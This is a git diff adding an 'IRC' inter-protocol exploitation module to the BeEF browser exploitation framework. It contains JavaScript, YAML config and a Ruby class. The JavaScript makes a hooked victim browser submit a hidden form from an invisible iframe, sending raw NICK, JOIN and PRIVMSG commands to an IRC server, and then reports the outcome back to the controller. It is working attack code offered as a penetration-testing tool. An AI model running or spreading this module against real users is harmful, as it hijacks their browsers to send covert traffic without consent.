diff --git a/modules/ipec/inter_protocol_irc/command.js b/modules/ipec/inter_protocol_irc/command.js new file mode 100644 index 000000000..5b72f1b7e --- /dev/null +++ b/modules/ipec/inter_protocol_irc/command.js @@ -0,0 +1,55 @@ +// +// Copyright 2011 Wade Alcorn wade@bindshell.net +// +// Licensed under the Apache License, Version 2.0 (the "License"); +// you may not use this file except in compliance with the License. +// You may obtain a copy of the License at +// +// http://www.apache.org/licenses/LICENSE-2.0 +// +// Unless required by applicable law or agreed to in writing, software +// distributed under the License is distributed on an "AS IS" BASIS, +// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +// See the License for the specific language governing permissions and +// limitations under the License. +// +/** + * Inter protocol IRC module + * Developed by jgaliana + * + * It is known that some IRC servers have protections against browser's connections in order to prevent attacks seen in the wild + * http://www.theregister.co.uk/2010/01/30/firefox_interprotocol_attack/ + */ +beef.execute(function() { + + var server = '<%= @server %>'; + var port = '<%= @port %>'; + var nick = '<%= @nick %>'; + var channel = '<%= @channel %>'; + var message = '<%= @message %>'; + + var target = "http://" + server + ":" + port; + var irc_commands= "NICK " + nick + "\n"; + irc_commands+= "USER " + nick + " 8 * : " + nick + " user\n"; + irc_commands+= "JOIN " + channel + "\n"; + irc_commands+= "PRIVMSG " + channel + " :" + message + "\n"; + + var iframe = beef.dom.createInvisibleIframe(); + + var form = document.createElement('form'); + form.setAttribute('action', target); + form.setAttribute('method', 'post'); + form.setAttribute('enctype', 'multipart/form-data'); + + var input = document.createElement('input'); + input.setAttribute('type', 'hidden'); + input.setAttribute('name', 'data'); + input.setAttribute('value', irc_commands); + form.appendChild(input); + + iframe.contentWindow.document.body.appendChild(form); + form.submit(); + + beef.net.send("<%= @command_url %>", <%= @command_id %>, "result=IRC command sent"); + +}); diff --git a/modules/ipec/inter_protocol_irc/config.yaml b/modules/ipec/inter_protocol_irc/config.yaml new file mode 100644 index 000000000..3380942e1 --- /dev/null +++ b/modules/ipec/inter_protocol_irc/config.yaml @@ -0,0 +1,26 @@ +# +# Copyright 2011 Wade Alcorn wade@bindshell.net +# +# Licensed under the Apache License, Version 2.0 (the "License"); +# you may not use this file except in compliance with the License. +# You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, +# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +# See the License for the specific language governing permissions and +# limitations under the License. +# +beef: + module: + inter_protocol_irc: + enable: true + category: "IPEC" + name: "IRC" + description: "Using Inter-protocol Expliotation/Communication (IPEC) the hooked browser will connect to an IRC server, join a channel and send messages to it." + authors: ["jgaliana"] + target: + working: ["FF"] + not_working: ["C", "S", "O", "IE"] diff --git a/modules/ipec/inter_protocol_irc/module.rb b/modules/ipec/inter_protocol_irc/module.rb new file mode 100644 index 000000000..98c1101e9 --- /dev/null +++ b/modules/ipec/inter_protocol_irc/module.rb @@ -0,0 +1,32 @@ +# +# Copyright 2011 Wade Alcorn wade@bindshell.net +# +# Licensed under the Apache License, Version 2.0 (the "License"); +# you may not use this file except in compliance with the License. +# You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, +# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +# See the License for the specific language governing permissions and +# limitations under the License. +# +class Inter_protocol_irc < BeEF::Core::Command + + def self.options + return [ + {'name' => 'server', 'ui_label' => 'IRC Server', 'value' => '127.0.0.1'}, + {'name' => 'port', 'ui_label' => 'Port', 'value' => '6667'}, + {'name' => 'nick', 'ui_label' => 'Username', 'value' => 'user1234__'}, + {'name' => 'channel', 'ui_label' => 'Channel', 'value' => '#channel1'}, + {'name' => 'message', 'ui_label' => 'Message', 'value' => 'hi all! yay!'} + ] + end + + def post_execute + save({'result' => @datastore['result']}) + end + +end